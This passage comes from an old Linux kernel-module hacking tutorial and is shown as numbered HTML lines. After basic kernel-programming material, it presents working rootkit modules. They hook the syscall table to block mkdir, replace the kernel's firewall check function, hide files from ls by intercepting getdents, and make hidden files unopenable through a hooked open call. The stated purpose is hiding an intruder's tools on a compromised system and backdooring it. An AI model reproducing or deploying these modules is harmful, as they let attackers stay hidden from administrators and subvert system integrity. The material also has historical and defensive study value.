914 pointer from the sys_call_table. While searching the web, I found that this
915 way of contructing user space like functions is also used in the famous LKM
916 infector by SVAT. In my opinion this is the better solution, but test it and
917 judge yourself.<br>
918 Be careful when supplying arguments for those systemcalls, they need them in
919 user space not from your kernel space position. Read I.4 for ways to bring your
920 kernel space data to user space memory.<br>
921 A very easy way doing this (the best way in my opinion) is playing with the
922 needed registers. You have to know that Linux uses segment selectors to
923 differentiate between kernel space, user space and so on. Arguments used with
924 systemcalls which were issued from user space are somewhere in the data segment
925 selector (DS) range. [I did not mention this in I.4,because it fits more in this
926 section.]<br>
927 DS can be retrieved by using get_ds() from asm/segment.h. So the data used as
928 parameters by systemcalls can only be accessed from kernel space if we set
929 the segment selector used for the user segment by the kernel to the needed DS
930 value. This can be done by using set_fs(...). But be careful,you have to restore
931 FS after you accessed the argument of the systemcall. So let's look at a code
932 fragment showing something useful :<br>
933
934 <xmp>
935 ->filename is in our kernel space; a string we just created, for example
936
937 unsigned long old_fs_value=get_fs();
938
939 set_fs(get_ds);               /*after this we can access the user space data*/
940 open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
941 set_fs(old_fs_value);         /*restore fs...*/
942 </xmp>
943
944 In my opinion this is the easiet / fastest way of solving the problem, but test
945 it yourself (again).<br>
946 Remember that the functions I showed till now (brk, open) are all implemented
947 through a single systemcall. But there are also groups of user space functions 
948 which are summarized into one systemcall. Take a look at the listing of
949 interesting systemcalls (I.2); the sys_socketcall, for example, implements every
950 function concering sockets (creation, closing, sending, receiving,...). So be
951 careful when constructing your functions; always take a look at the kernel 
952 sources.<br>
953
954 <H3><A NAME="I.6."></A>6. List of daily needed Kernelspace Functions</h3>
955
956 I introduced the printk(..) function in the beginning of this text. It is a
957 function everyone can use in kernel space, it is a so called kernel function.
958 Those functions are made for kernel developers who need complex functions which
959 are normally only available through a library function. The following listing
960 shows the most important kernel functions we often need :
961
962 <TABLE border=5 width=100%>
963 <tr>
964
965 <th>function/macro</th>
966 <th>description</th>
967
968 <tr>
969 <td>int sprintf  
970 (char *buf, 
971 const char *fmt,
972 ...);<br>
973 int vsprintf
974 (char *buf,
975 const char *fmt,
976 va_list args);<br></td>
977 <td>functions for packing data into strings</td>
978 </tr>
979
980 <tr>
981 <td>printk           
982 (...)</td>
983 <td>the same as printf in user space</td>
984 </tr>
985
986 <tr>
987 <td>void *memset                  
988 (void *s, char c,
989 size_t count);<br>
990 void *memcpy
991 (void *dest, const void
992 *src, size_t count);<br>
993 char *bcopy
994 (const char *src,
995 char *dest, int count);<br>
996 void *memmove
997 (void *dest, const void
998 *src, size_t count);<br>
999 int memcmp
1000 (const void *cs,
1001 const void *ct, size_t
1002 count);<br>
1003 void *memscan
1004 (void *addr, unsigned char
1005 c, size_t size);<br></td>
1006 <td>memory functions</td>
1007 </tr>
1008
1009 <tr>
1010 <td>int register_symtab       
1011 (struct symbol_table 
1012 *intab);</td>
1013 <td>see I.1</td>
1014 </tr>
1015
1016 <tr>
1017 <td>char *strcpy               
1018 (char *dest, const char
1019 *src);<br>
1020 char *strncpy
1021 (char *dest, const char
1022 *src, size_t count);<br>
1023 char *strcat
1024 (char *dest, const char *src);<br>
1025 char *strncat
1026 (char *dest, const char
1027 *src, size_t count);<br>
1028 int strcmp
1029 (const char *cs, 
1030 const char *ct);<br>
1031 int strncmp
1032 (const char *cs,const 
1033 char *ct, size_t count);<br>
1034 char *strchr
1035 (const char *s, char c);<br>
1036 size_t strlen
1037 (const char *s);<br>
1038 size_t strnlen
1039 (const char *s,
1040 size_t count);<br>
1041 size_t strspn
1042 (const char *s,
1043 const char *accept);<br>
1044 char *strpbrk
1045 (const char *cs, 
1046 const char *ct);<br>
1047 char *strtok
1048 (char *s, const char *ct);<br></td>
1049 <td>string compare functions etc.</td>
1050 </tr>
1051
1052 <tr>
1053 <td>unsigned long              
1054 simple_strtoul
1055 (const char *cp,
1056 char **endp, unsigned int
1057 base);</td>
1058 <td>converting strings to number</td>
1059 </tr>
1060
1061 <tr>
1062 <td>get_user_byte              
1063 (addr);<br>
1064 put_user_byte
1065 (x, addr);<br>
1066 get_user_word
1067 (addr);<br>
1068 put_user_word
1069 (x, addr);<br>
1070 get_user_long
1071 (addr);<br>
1072 put_user_long
1073 (x, addr);<br></td>
1074 <td>functions for accessing user memory</td>
1075 </tr>
1076
1077 <tr>
1078 <td>suser();<br>                   
1079 fsuser();<br></td>
1080 <td>checking for SuperUser rights</td>
1081 </tr>
1082
1083 <tr>
1084 <td>int register_chrdev       
1085 (unsigned int major,        
1086 const char *name,           
1087 struct file_o perations 
1088 *fops);<br>
1089 int unregister_chrdev
1090 (unsigned int major, 
1091 const char *name);<br>
1092 int register_blkdev
1093 (unsigned int major,
1094 const char *name,
1095 struct file_o perations
1096 *fops);<br>
1097 int unregister_blkdev
1098 (unsigned int major,
1099 const char *name);<br></td>
1100 <td>functions which register device driver<br>
1101 ..._chrdev -> character devices<br>
1102 ..._blkdev -> block devices<br></td>
1103 </tr>
1104 </table>
1105
1106 Please remember that some of those function may also be made available through
1107 the method mentoined in I.5. But you should understand, that it is not very
1108 useful contructing nice user space like functions, when the kernel gives them
1109 to us for free.<br>
1110 Later on you will see that these functions (especially string comaprisons) are
1111 very important for our purposes.<br>
1112
1113
1114 <H3><A NAME="I.7."></A>7. What is the Kernel-Daemon </h3>
1115
1116 Finally we nearly reached the end of the basic part. Now I will explain the
1117 working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a
1118 process in user space waiting for some action. First of all you must know that
1119 it is necessary to activite the kerneld option while building the kernel, in
1120 order to use kerneld's features. Kerneld works the following way : If the kernel
1121 wants to access a resource (in kernel space of course), which is not present
1122 at that moment, he does <i>not</i> produce an error. Instead of doing this he asks
1123 kerneld for that resource. If kerneld is able to provide the resource, it loads
1124 the required LKM and the kernel can continue working. By using this scheme it is
1125 possible to load and unload LKMs only when they are really needed / not needed.
1126 It should be clear that this work needs to be done both in user and in kernel
1127 space.<br>
1128 Kerneld exists in user space. If the kernel requests a new module this daemon
1129 receives a string from the kernel telling it which module to load.It is possible
1130 that the kenel sends a generic name (instead of the name of object file) like
1131 eth0. In this case the system need to lookup /etc/modules.conf for alias lines.
1132 Those lines match generic names to the LKM required on that system.<br>
1133 The following line says that eth0 is represented by a DEC Tulip driver LKM :<br>
1134
1135 <xmp>
1136 # /etc/modules.conf          # or /etc/conf.modules - this differs
1137 alias eth0 tulip
1138 </xmp>
1139
1140 This was the user space side represented by the kerneld daemon. The kernel space
1141 part is mainly represented by 4 functions. These functions are all based on
1142 a call to kerneld_send. For the exact way kerneld_send is involved by calling
1143 those functions look at linux/kerneld.h.  The following table lists the 4
1144 functions mentioned above :<br>
1145
1146 <TABLE border=5 width=100%>
1147 <tr>
1148
1149 <th>function</th>
1150 <th>description</th>
1151
1152 <tr>
1153 <td>int sprintf  
1154 (char *buf, 
1155 const char *fmt,
1156 ...);<br>
1157 int vsprintf
1158 (char *buf,
1159 const char *fmt,
1160 va_list args);<br></td>
1161 <td>functions for packing data into strings</td>
1162 </tr>
1163
1164 <tr>
1165 <td>int request_module           
1166 (const char *name);</td>           
1167 <td>says kerneld that the kernel requires a certain module (given a name or gerneric ID / name)<td>
1168 <tr>
1169
1170 <tr>
1171 <td>int release_module           
1172 (const char* name,
1173 int waitflag);</td>
1174 <td>unload a module</td>
1175 <tr>
1176
1177 <tr>
1178 <td>int delayed_release_module   
1179 (const char *name);</td>
1180 <td>delayed unload</td>
1181 <tr>
1182
1183 <tr>
1184 <td>int cancel_release_module    
1185 (const char *name);</td>
1186 <td>cancels a call of delayed_release_module</td>
1187 <tr>
1188 </table>
1189 <i>Note</i> : Kernel 2.2 uses another scheme for requesting modules. Take a look at part
1190 V.
1191
1192 <H3><A NAME="I.8."></A>8. Creating your own Devices</h3>
1193
1194 Appendix A introduces a TTY Hijacking util, which will use a device to log its
1195 results. So we have to look at a very basic example of a device driver.
1196 Look at the following code (this is a very basic driver, I just wrote it for
1197 demonstration, it does implement nearly no operations...) :<br>
1198
1199 <xmp>
1200 #define MODULE
1201 #define __KERNEL__
1202
1203 #include <linux/module.h>
1204 #include <linux/kernel.h>
1205 #include <asm/unistd.h>
1206 #include <sys/syscall.h>
1207 #include <sys/types.h>
1208 #include <asm/fcntl.h>
1209 #include <asm/errno.h>
1210 #include <linux/types.h>
1211 #include <linux/dirent.h>
1212 #include <sys/mman.h>
1213 #include <linux/string.h>
1214 #include <linux/fs.h>
1215 #include <linux/malloc.h>
1216
1217 /*just a dummy for demonstration*/
1218 static int driver_open(struct inode *i, struct file *f)
1219 {
1220  printk("<1>Open Function\n");
1221  return 0;
1222 }
1223
1224 /*register every function which will be provided by our driver*/
1225 static struct file_operations fops = {
1226 NULL,                 /*lseek*/
1227 NULL,                 /*read*/
1228 NULL,                 /*write*/
1229 NULL,                 /*readdir*/
1230 NULL,                 /*select*/
1231 NULL,                 /*ioctl*/
1232 NULL,                 /*mmap*/
1233 driver_open,          /*open, take a look at my dummy open function*/
1234 NULL,                 /*release*/
1235 NULL                  /*fsync...*/
1236 };
1237
1238
1239 int init_module(void)
1240 {
1241  /*register driver with major 40 and the name driver*/
1242  if(register_chrdev(40, "driver", &fops)) return -EIO;
1243   return 0;
1244 }
1245
1246 void cleanup_module(void)
1247 {
1248  /*unregister our driver*/
1249  unregister_chrdev(40, "driver");
1250 }
1251 </xmp>
1252 The most important important function is register_chrdev(...) which registers
1253 our driver with the major number 40. If you want to access this driver,do the
1254 following :
1255
1256 <xmp>
1257 # mknode /dev/driver c 40 0
1258
1259 # insmod driver.o
1260 </xmp>
1261
1262 After this you can access that device (but i did not implement any functions due
1263 to lack of time...). The file_operations structure provides every function
1264 (operation) which our driver will provide to the system. As you can see I did
1265 only implement a very (!) basic dummy function just printing something. 
1266 It should be clear that you can implement your own devices in a very easy way
1267 by using the methods above. Just do some experiments. If you log some data (key
1268 strokes, for example) you can build a buffer in your driver that exports its 
1269 contents through the device interface).
1270
1271
1272
1273 <u><b>
1274 <H2>II. Fun & Profit</H2>
1275 </u></b>
1276 <P><P>
1277
1278
1279 <H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
1280
1281 Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
1282 (especially hardware drivers). Our 'Hacks' will do something different, they
1283 will intercept systemcalls and modify them in order to change the way the system
1284 reacts on certain commands.<br>
1285 The following module makes it impossible for any user on the compromised system
1286 to create directories. This is just a little demonstration to show the way we
1287 follow.<br>
1288
1289 <xmp>
1290 #define MODULE
1291 #define __KERNEL__
1292
1293 #include <linux/module.h>
1294 #include <linux/kernel.h>
1295 #include <asm/unistd.h>
1296 #include <sys/syscall.h>
1297 #include <sys/types.h>
1298 #include <asm/fcntl.h>
1299 #include <asm/errno.h>
1300 #include <linux/types.h>
1301 #include <linux/dirent.h>
1302 #include <sys/mman.h>
1303 #include <linux/string.h>
1304 #include <linux/fs.h>
1305 #include <linux/malloc.h>
1306
1307 extern void* sys_call_table[];       /*sys_call_table is exported, so we
1308                                      can access it*/               
1309
1310 int (*orig_mkdir)(const char *path); /*the original systemcall*/
1311
1312
1313 int hacked_mkdir(const char *path)
1314 {
1315  return 0;                           /*everything is ok, but he new systemcall
1316                                      does nothing*/
1317 }
1318
1319 int init_module(void)                /*module setup*/
1320 {
1321  orig_mkdir=sys_call_table[SYS_mkdir];
1322  sys_call_table[SYS_mkdir]=hacked_mkdir;
1323  return 0;
1324 }
1325
1326 void cleanup_module(void)            /*module shutdown*/
1327 {
1328  sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
1329                                        one*/
1330 }
1331 </xmp>
1332
1333 Compile this module and start it (see I.1). Try to make a directory, it will
1334 not work.Because of returning 0 (standing for OK) we don't get an error message.
1335 After removing the module making directories is possible again. 
1336 As you can see, we only need to change the corresponding entry in sys_call_table
1337 (see I.2) for intercepting a kernel systemcall.<br>
1338 The general approach to intercepting a systemcall is outlined in the following
1339 list :<br>
1340 <ul>
1341
1342 <li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
1343   syscall.h)<br>
1344 <li> save the old entry of sys_call_table[X] in a function pointer (where X stands
1345   for the systemcallnumber you want to intercept)<br>
1346 <li> save the address of the new (hacked) systemcall you defined yourself by
1347   setting sys_call_table[X] to the needed function address<br>
1348 </ul>
1349
1350 You will recognize that it is very useful to save the old systemcall function 
1351 pointer, because you will need it in your hacked one for emulating the original
1352 call.  The first question you have to face when writing a 'Hack-LKM  ' is : <br>
1353 <i>'Which systemcall should I intercept'.</i><br>
1354
1355 <H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
1356 Perhaps you are not a 'kernel god' and you don't know every systemcall for every
1357 user space function an application or command can use. So I will give you some 
1358 hints on finding your systemcalls to take control over.<br>
1359 <ol type="a">
1360 <li>read source code. On systems like Linux you can have the source code on
1361     nearly any program a user (admin) can use. Once you have found a basic
1362     function like dup, open, write, ... go to b<br>
1363 <li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
1364     corresponding systemcall (search for dup -> you will find SYS_dup; search
1365     for write -> you will find SYS_write; ...). If this does not work got to c<br>
1366 <li>some calls like socket, send, receive, ... are implemented through one
1367     systemcall - as I said before. Take a look at the include file mentioned
1368     for related systemcalls.<br>
1369 </ol>
1370
1371 Remember not every C-lib function is a systemcall ! Most functions are totally 
1372 unrelated to any systemcalls !<br>
1373 A little more experienced hackers should take a look at the systemcall listing
1374 in I.2 which provides enough information. It should be clear that User ID management
1375 is implemented through the uid-systemcalls etc. If you really want to be sure 
1376 you can also take a look at the library sources / kernel sources.<br>
1377 The hardest problem is an admin writing its own applications for checking system
1378 integrity / security. The problem concerning those programs is the lack of source
1379 code. We cannot say how this program exactly works and which systemcalls we have
1380 to intercept in order to hide our presents / tools. It may even be possible that 
1381 he introduced a LKM hiding itself which implements cool hacker-like systemcalls
1382 for checking the system security (the admins often use hacker techniques to defend
1383 their system...). So how do we proceed.<br>
1384
1385 <H4><A NAME="II.2.1."></A>2.1  Finding interesting systemcalls (the strace approach)</h4>
1386
1387 Let's say you know the super-admin program used to check the system (this can 
1388 be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
1389 is that you need to hide your presents from the super-admin program until that
1390 point..).<br>
1391 So run the program (perhaps you have to be root to execute it) using strace.
1392
1393 <xmp>
1394 # strace super_admin_proggy
1395 </xmp>
1396
1397 This will give you a really nice output of every systemcall made by that program
1398 including the systemcalls which may be added by the admin through his hacking
1399 LKM (could be possible). I don't have a super-admin-proggy for showing you a
1400 sample output, but take a look at the output of 'strace whoami' :<vr>
1401
1402 <xmp>
1403 execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
1404 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
1405 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1406 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1407 stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
1408 open("/etc/ld.so.cache", O_RDONLY)      = 3
1409 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
1410 close(3)                                = 0
1411 stat("/etc/ld.so.preload", 0xbffff780)  = -1 ENOENT (No such file or directory)
1412 open("/lib/libc.so.5", O_RDONLY)        = 3
1413 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
1414 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
1415 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
1416 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
1417 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
1418 close(3)                                = 0
1419 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1420 munmap(0x40008000, 13363)               = 0
1421 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
1422 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
1423 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
1424 personality(PER_LINUX)                  = 0
1425 geteuid()                               = 500
1426 getuid()                                = 500
1427 getgid()                                = 100
1428 getegid()                               = 100
1429 brk(0x804aa48)                          = 0x804aa48
1430 brk(0x804b000)                          = 0x804b000
1431 open("/usr/share/locale/locale.alias", O_RDONLY) = 3
1432 fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
1433 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
1434 read(3, "# Locale name alias data base\n#"..., 4096) = 2005
1435 brk(0x804c000)                          = 0x804c000
1436 read(3, "", 4096)                       = 0
1437 close(3)                                = 0
1438 munmap(0x40008000, 4096)                = 0
1439 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
1440 open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
1441 fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
1442 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
1443 close(3)                                = 0
1444 geteuid()                               = 500
1445 open("/etc/passwd", O_RDONLY)           = 3
1446 fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
1447 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
1448 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
1449 close(3)                                = 0
1450 munmap(0x4000b000, 4096)                = 0
1451 fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
1452 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
1453 write(1, "r00t\n", 5r00t
1454 )                   = 5
1455 _exit(0)                                = ?
1456 </xmp>
1457
1458 This is a very nice listing of all systamcalls made by the command 'whoami',
1459 isn't it ? There are  4 interesting systemcalls to intercept in order to
1460 manipulate the output of 'whoami'
1461
1462 <xmp>
1463 geteuid()                               = 500
1464 getuid()                                = 500
1465 getgid()                                = 100
1466 getegid()                               = 100
1467 </xmp>
1468
1469 Take a look at II.6 for an implementation of that problem. This way of analysing
1470 programs is also very important for a quick look at other standard tools.<br>
1471 I hope you are now able to find any systemcall which can help you to hide
1472 yourself or just to backdoor the system, or whatever you want.
1473
1474 <H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
1475
1476 In II.1 you saw how to access the sys_call_table, which is exported through the
1477 kernel symbol table. Now think about this... We can modify <i>any</i> exported item
1478 (functions, structures, variables, for example) by accessing them within our
1479 module.<br>
1480 Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
1481 be compromised that way, because we don't export any symbols. Here is a little
1482 excerpt from my /proc/ksyms file, just to show you what you can actually modify.
1483
1484 <xmp>
1485 ...
1486 001bf1dc ppp_register_compressor
1487 001bf23c ppp_unregister_compressor
1488 001e7a10 ppp_crc16_table
1489 001b9cec slhc_init
1490 001b9ebc slhc_free
1491 001baa20 slhc_remember
1492 001b9f6c slhc_compress
1493 001ba5dc slhc_uncompress
1494 001babbc slhc_toss
1495 001a79f4 register_serial
1496 001a7b40 unregister_serial
1497 00109cec dump_thread
1498 00109c98 dump_fpu
1499 001c0c90 __do_delay
1500 001c0c60 down_failed
1501 001c0c80 down_failed_interruptible
1502 001c0c70 up_wakeup
1503 001390dc sock_register
1504 00139110 sock_unregister
1505 0013a390 memcpy_fromiovec
1506 001393c8 sock_setsockopt
1507 00139640 sock_getsockopt
1508 001398c8 sk_alloc
1509 001398f8 sk_free
1510 00137b88 sock_wake_async
1511 00139a70 sock_alloc_send_skb
1512 0013a408 skb_recv_datagram
1513 0013a580 skb_free_datagram
1514 0013a5cc skb_copy_datagram
1515 0013a60c skb_copy_datagram_iovec
1516 0013a62c datagram_select
1517 00141480 inet_add_protocol
1518 001414c0 inet_del_protocol
1519 001ddd18 rarp_ioctl_hook
1520 001bade4 init_etherdev
1521 00140904 ip_rt_route
1522 001408e4 ip_rt_dev
1523 00150b84 icmp_send
1524 00143750 ip_options_compile
1525 001408c0 ip_rt_put
1526 0014faa0 arp_send
1527 0014f5ac arp_bind_cache
1528 001dd3cc ip_id_count
1529 0014445c ip_send_check
1530 00142bc0 ip_forward
1531 001dd3c4 sysctl_ip_forward
1532 0013a994 register_netdevice_notifier
1533 0013a9c8 unregister_netdevice_notifier
1534 0013ce00 register_net_alias_type
1535 0013ce4c unregister_net_alias_type
1536 001bb208 register_netdev
1537 001bb2e0 unregister_netdev
1538 001bb090 ether_setup
1539 0013d1c0 eth_type_trans
1540 0013d318 eth_copy_and_sum
1541 0014f164 arp_query
1542 00139d84 alloc_skb
1543 00139c90 kfree_skb
1544 00139f20 skb_clone
1545 0013a1d0 dev_alloc_skb
1546 0013a184 dev_kfree_skb
1547 0013a14c skb_device_unlock
1548 0013ac20 netif_rx
1549 0013ae0c dev_tint
1550 001e6ea0 irq2dev_map
1551 0013a7a8 dev_add_pack
1552 0013a7e8 dev_remove_pack
1553 0013a840 dev_get
1554 0013b704 dev_ioctl
1555 0013abfc dev_queue_xmit
1556 001e79a0 dev_base
1557 0013a8dc dev_close
1558 0013ba40 dev_mc_add
1559 0014f3c8 arp_find
1560 001b05d8 n_tty_ioctl
1561 001a7ccc tty_register_ldisc
1562 0012c8dc kill_fasync
1563 0014f164 arp_query
1564 00155ff8 register_ip_masq_app
1565 0015605c unregister_ip_masq_app
1566 00156764 ip_masq_skb_replace
1567 00154e30 ip_masq_new
1568 00154e64 ip_masq_set_expire
1569 001ddf80 ip_masq_free_ports
1570 001ddfdc ip_masq_expire
1571 001548f0 ip_masq_out_get_2
1572 001391e8 register_firewall
1573 00139258 unregister_firewall
1574 00139318 call_in_firewall
1575 0013935c call_out_firewall
1576 001392d4 call_fw_firewall
1577 ...
1578 </xmp>
1579 Just look at call_in_firewall, this is a function used by the firewall management
1580 in the kernel. What would happen if we replace this function with a bogus one ?<br>
1581 Take a look at the following LKM :
1582
1583 <xmp>
1584 #define MODULE
1585 #define __KERNEL__
1586
1587 #include <linux/module.h>
1588 #include <linux/kernel.h>
1589 #include <asm/unistd.h>
1590 #include <sys/syscall.h>
1591 #include <sys/types.h>
1592 #include <asm/fcntl.h>
1593 #include <asm/errno.h>
1594 #include <linux/types.h>
1595 #include <linux/dirent.h>
1596 #include <sys/mman.h>
1597 #include <linux/string.h>
1598 #include <linux/fs.h>
1599 #include <linux/malloc.h>
1600
1601
1602 /*get the exported function*/
1603 extern int *call_in_firewall;
1604
1605 /*our nonsense call_in_firewall*/
1606 int new_call_in_firewall()
1607 {
1608  return 0;
1609 }
1610
1611 int init_module(void)                /*module setup*/
1612 {
1613  call_in_firewall=new_call_in_firewall;
1614  return 0;
1615 }
1616
1617 void cleanup_module(void)            /*module shutdown*/
1618 {
1619 }
1620 </xmp>
1621 Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping 
1622 127.0.0.1', your kernel will produce a nice error message, because the called
1623 call_in_firewall(...) function was replaced by a bogus one (you may skip the
1624 firewall installation in this example).<br>
1625 This is a quite brutal way of killing an exported symbol. You could also 
1626 disassemble (using gdb) a certain symbol and modify certain bytes which will
1627 change the working of that symbol. Imagine there is a IF THEN contruction used
1628 in an exported function. How about disassembling this function and searching for
1629 commands like JNZ, JNE, ... This way you would be able to patch important items.
1630 Of course, you could lookup the functions in the kernel / module sources, but 
1631 what about symbols you cannot get the source for because you only got a binary
1632 module. Here the disassembling is quite interesting.<br>
1633
1634
1635 <H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
1636
1637 The most important feature of LKM hacking is the abilaty to hide some items
1638 (your exploits, sniffer (+logs), and so on) in the local filesystem.
1639
1640 <H4><A NAME="II.4.1."></A>4.1  How to Hide Files</h4>   
1641 Imagine how an admin will find your files : He will use 'ls' and see everything.
1642 For those who don't know it, strace'in through 'ls' will show you that the
1643 systemcall used for getting directory listings is 
1644
1645 <xmp>
1646 int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
1647 </xmp>
1648 So we know where to attack.The following piece of code shows the hacked_getdents
1649 systemcall adapted from AFHRM (from  Michal Zalewski). This module is able to
1650 hide any file from 'ls' and <i>every</i> program using getdents systemcall.
1651
1652 <xmp>
1653 #define MODULE
1654 #define __KERNEL__
1655
1656 #include <linux/module.h>
1657 #include <linux/kernel.h>
1658 #include <asm/unistd.h>
1659 #include <sys/syscall.h>
1660 #include <sys/types.h>
1661 #include <asm/fcntl.h>
1662 #include <asm/errno.h>
1663 #include <linux/types.h>
1664 #include <linux/dirent.h>
1665 #include <sys/mman.h>
1666 #include <linux/string.h>
1667 #include <linux/fs.h>
1668 #include <linux/malloc.h>
1669
1670 extern void* sys_call_table[];
1671
1672 int (*orig_getdents) (uint, struct dirent *, uint);
1673
1674 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
1675 {
1676  unsigned int tmp, n;
1677  int t, proc = 0;
1678  struct inode *dinode;
1679  struct dirent *dirp2, *dirp3;
1680  char hide[]="ourtool";                       /*the file to hide*/
1681
1682  /*call original getdents -> result is saved in tmp*/
1683  tmp = (*orig_getdents) (fd, dirp, count);
1684
1685  /*directory cache handling*/
1686  /*this must be checked because it could be possible that a former getdents
1687  put the results into the task process structure's dcache*/
1688 #ifdef __LINUX_DCACHE_H
1689     dinode = current->files->fd[fd]->f_dentry->d_inode;
1690 #else
1691     dinode = current->files->fd[fd]->f_inode;
1692 #endif
1693
1694  /*dinode is the inode of the required directory*/
1695  if (tmp > 0) 
1696  {
1697   /*dirp2 is a new dirent structure*/
1698   dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
1699   /*copy original dirent structure to dirp2*/
1700   memcpy_fromfs(dirp2, dirp, tmp);
1701   /*dirp3 points to dirp2*/
1702   dirp3 = dirp2;
1703   t = tmp;
1704   while (t > 0) 
1705   {
1706    n = dirp3->d_reclen;
1707    t -= n;
1708    /*check if current filename is the name of the file we want to hide*/
1709    if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
1710    {
1711     /*modify dirent struct if necessary*/
1712     if (t != 0)
1713      memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
1714     else
1715      dirp3->d_off = 1024;
1716     tmp -= n;
1717    }
1718    if (dirp3->d_reclen == 0) 
1719    {
1720     /*
1721      * workaround for some shitty fs drivers that do not properly
1722      * feature the getdents syscall.
1723     */
1724     tmp -= t;
1725     t = 0;
1726    }
1727   if (t != 0)
1728    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
1729   }
1730   memcpy_tofs(dirp, dirp2, tmp);
1731   kfree(dirp2);
1732  }
1733  return tmp;
1734 }
1735
1736
1737 int init_module(void)                /*module setup*/
1738 {
1739  orig_getdents=sys_call_table[SYS_getdents];
1740  sys_call_table[SYS_getdents]=hacked_getdents;
1741  return 0;
1742 }
1743
1744 void cleanup_module(void)            /*module shutdown*/
1745 {
1746  sys_call_table[SYS_getdents]=orig_getdents; 
1747                                        
1748 }
1749
1750 </xmp>
1751 For beginners : read the comments and use your brain for 10 mins. <br>
1752 After that continue reading.<br>
1753 This hack is really helpful. But remember that the admin can see your file by
1754 directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
1755 file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
1756 .... Of course their are ways to prevent an admin from reading our files, just
1757 read on.<br>
1758
1759 <H4><A NAME="II.4.2."></A>4.2  How to hide the file contents (totally)</h4>
1760
1761 I never saw an implementation really doing this. Of course their are LKMs like
1762 AFHRM by Michal Zalewski controlling the contents / delete functions  but not
1763 really hiding the contents. I suppose their are lots of people actually using
1764 methods like this, but no one wrote on it, so I do.<br>
1765 It should be clear that there are many ways of doing this. The first way is
1766 very simple,just intercept an open systemcall checking if filename is 'ourtool'.
1767 If so deny any open-attempt, so no read / write or whatever is possible. Let's
1768 implement that LKM :<br>
1769
1770 <xmp>
1771 #define MODULE
1772 #define __KERNEL__
1773
1774 #include <linux/module.h>
1775 #include <linux/kernel.h>
1776 #include <asm/unistd.h>
1777 #include <sys/syscall.h>
1778 #include <sys/types.h>
1779 #include <asm/fcntl.h>
1780 #include <asm/errno.h>
1781 #include <linux/types.h>
1782 #include <linux/dirent.h>
1783 #include <sys/mman.h>
1784 #include <linux/string.h>
1785 #include <linux/fs.h>
1786 #include <linux/malloc.h>
1787
1788 extern void* sys_call_table[];
1789
1790
1791 int (*orig_open)(const char *pathname, int flag, mode_t mode);
1792
1793
1794 int hacked_open(const char *pathname, int flag, mode_t mode)
1795 {
1796  char *kernel_pathname;
1797  char hide[]="ourtool";
1798  
1799  /*this is old stuff -> transfer to kernel space*/
1800  kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
1801
1802  memcpy_fromfs(kernel_pathname, pathname, 255);
1803
1804  if (strstr(kernel_pathname, (char*)&hide ) != NULL)
1805  {
1806   kfree(kernel_pathname);
1807   /*return error code for 'file does not exist'*/
1808   return -ENOENT;
1809  }
1810  else
1811  {
1812   kfree(kernel_pathname);
1813   /*everything ok, it is not our tool*/
1814   return orig_open(pathname, flag, mode);
1815  }
1816 }
1817
1818
1819 int init_module(void)                /*module setup*/
1820 {
